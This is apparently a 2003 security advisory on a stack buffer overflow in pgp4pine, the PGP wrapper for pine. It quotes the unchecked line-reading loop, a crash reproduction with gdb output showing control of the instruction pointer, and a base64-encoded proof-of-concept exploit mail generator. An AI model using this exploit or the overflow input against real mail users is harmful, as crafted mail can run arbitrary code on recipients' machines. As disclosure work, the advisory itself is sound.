12th Mar 2003 [SBWID-6060]
COMMAND
	pgp4pine stack overflow vulnerability
SYSTEMS AFFECTED
	current ?
PROBLEM
	Eric Auge [[email protected]] found :
	 I Background:
	pgp4pine is a mail encryption/decryption/signature/verification  wrapper
	to gpg for pine, it is called from pine to parse mail body and  get  PGP
	information from the file.
	
	 more information : http://pgp4pine.flatline.de/
	
	 II Problem description:
	When installed/configured within pine, pgp4pine parse any incoming  mail
	before reading (in the default standard configuration) looking  for  PGP
	tokens & informations to do his  sender's  signature  verifications.
	To verify incoming mail it calls :
	
	menus.c: void fileVerifyDecryptMenu(char *inFile,char *outFile);
	
	and read each line according to this loop :
	
	 [...]
	 char readline[CONSOLE_IO_LINE_LENGTH];
	 (where defines.h:#define CONSOLE_IO_LINE_LENGTH 256)
	 [...]
	 do {
	   fertig=0;
	   while (!fertig)
	   {
	     if ((c=getc(fin))==EOF)
	     {
	       outFile=inFile; /* this usually is not
	                          executed, EOF breaks directly */
	       return;
	     }
	     else if ((readline[i++]=c) == '\n')
	     {
	       readline[i]='\0';
	       fertig=1;
	     }
	   }
	   fertig=0;
	   if (strncmp("-----BEGIN PGP SIGNED",readline,20)==0)
	   {
	     /* got signed message */
	     fclose(fin);
	     while (fileVerify(inFile,outFile) > 0); /* =1: Repeat */
	     fertig=1;
	   }
	   else if (strncmp("-----BEGIN PGP",readline,14)==0)
	   {
	     /* got another type of PGP message (encrypted, keys ...) */
	     fclose(fin);
	     fileDecrypt(inFile,outFile);
	     waitForReturn();
	     fertig=1;
	   }
	   else
	     i=0; /* Got waste line, reset i */
	 } while (!fertig);
	 [...]
	
	If a single line go over 256 chars directly to EOF,  it  will  overwrite
	saved environnement on the stack and return, since there is no check  on
	the index 'i' within the readline[] array,
	
	     [...]
	     }
	     else if ((readline[i++]=c) == '\n')
	     {
	     [...]
	
	you can can go over CONSOLE_IO_LINE_LENGTH and replace  necessary  saved
	registers before hiting one condition to return.
	
	     [...]
	     if ((c=getc(fin))==EOF)
	     {
	       outFile=inFile; /* this usually is not
	                          executed, EOF breaks directly */
	       return;
	     }
	     [...]
	
	then try:
	
	rival@bones ~/dev/test/pgp4pine-ex $ echo `perl -e 'print "A"x500'` > testmail
	rival@bones ~/dev/test/pgp4pine-ex $ ./pgp4pine-vuln -d -i testmail
	[...]
	Segmentation fault (core dumped)
	rival@bones ~/dev/test/pgp4pine-ex $ gdb ./pgp4pine-vuln core
	[...]
	Core was generated by `./pgp4pine-vuln -d -i testmail'.
	Program terminated with signal 11, Segmentation fault.
	Reading symbols from /lib/libc.so.6...done.
	Loaded symbols for /lib/libc.so.6
	Reading symbols from /lib/ld-linux.so.2...done.
	Loaded symbols for /lib/ld-linux.so.2
	#0  0x41414141 in ?? ()
	(gdb)
	
	Here it is ;)
	
	--0-784433148-1047484280=:99514
	Content-Type: TEXT/PLAIN; CHARSET=US-ASCII; NAME="mailex-gen.c"
	Content-Transfer-Encoding: BASE64
	Content-ID: <[email protected]>
	Content-Description: mailex-gen.c
	Content-Disposition: ATTACHMENT; FILENAME="mailex-gen.c"
	DQovKiANCiAqICBtYWlsZXgtZ2VuLmMgLS0gUEdQNFBpbmUgZXhwbG9pdCBt
	YWlsIGdlbmVyYXRvciAtIHByb29mIG9mIGNvbmNlcHQgDQogKiAgQ29weXJp
	Z2h0IChDKSAyMDAzIC0gRXJpYyBBVUdFDQogKiAgDQogKiAgIFRoaXMgcHJv
	Z3JhbSBpcyBmcmVlIHNvZnR3YXJlOyB5b3UgY2FuIHJlZGlzdHJpYnV0ZSBp
	dCBhbmQvb3INCiAqICAgbW9kaWZ5IGl0IHVuZGVyIHRoZSB0ZXJtcyBvZiB0
	aGUgR05VIEdlbmVyYWwgUHVibGljIExpY2Vuc2UNCiAqICAgYXMgcHVibGlz
	aGVkIGJ5IHRoZSBGcmVlIFNvZnR3YXJlIEZvdW5kYXRpb247IGVpdGhlciB2
	ZXJzaW9uIDIgb2YNCiAqICAgdGhlIExpY2Vuc2Ugb3IgKGF0IHlvdXIgb3B0
	aW9uKSBhbnkgb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IpOw0KCWV4aXQoMSk7DQogICAgfQ0KICAgIHdyaXRlKGZkLCZidWZmZXIs
	c2l6ZW9mKGJ1ZmZlcikpOw0KICAgIGNsb3NlKGZkKTsNCiAgICBmcHJpbnRm
	KHN0ZGVyciwibm93IHR5cGU6IC9wYXRoL3RvL3BncDRwaW5lLXZ1bG4gLWQg
	LWkgLi9tYWlsbWVcbiIpOw0KCQ0KICAgIHJldHVybiAoMCk7DQp9DQo=
	--0-784433148-1047484280=:99514--
	
	 III Impact
	Since pgp4pine process  any  incoming  email,  sending  special  crafted
	email can make sender execute arbitrary code on the recipient  box  when
	the mail is opened.
SOLUTION
	?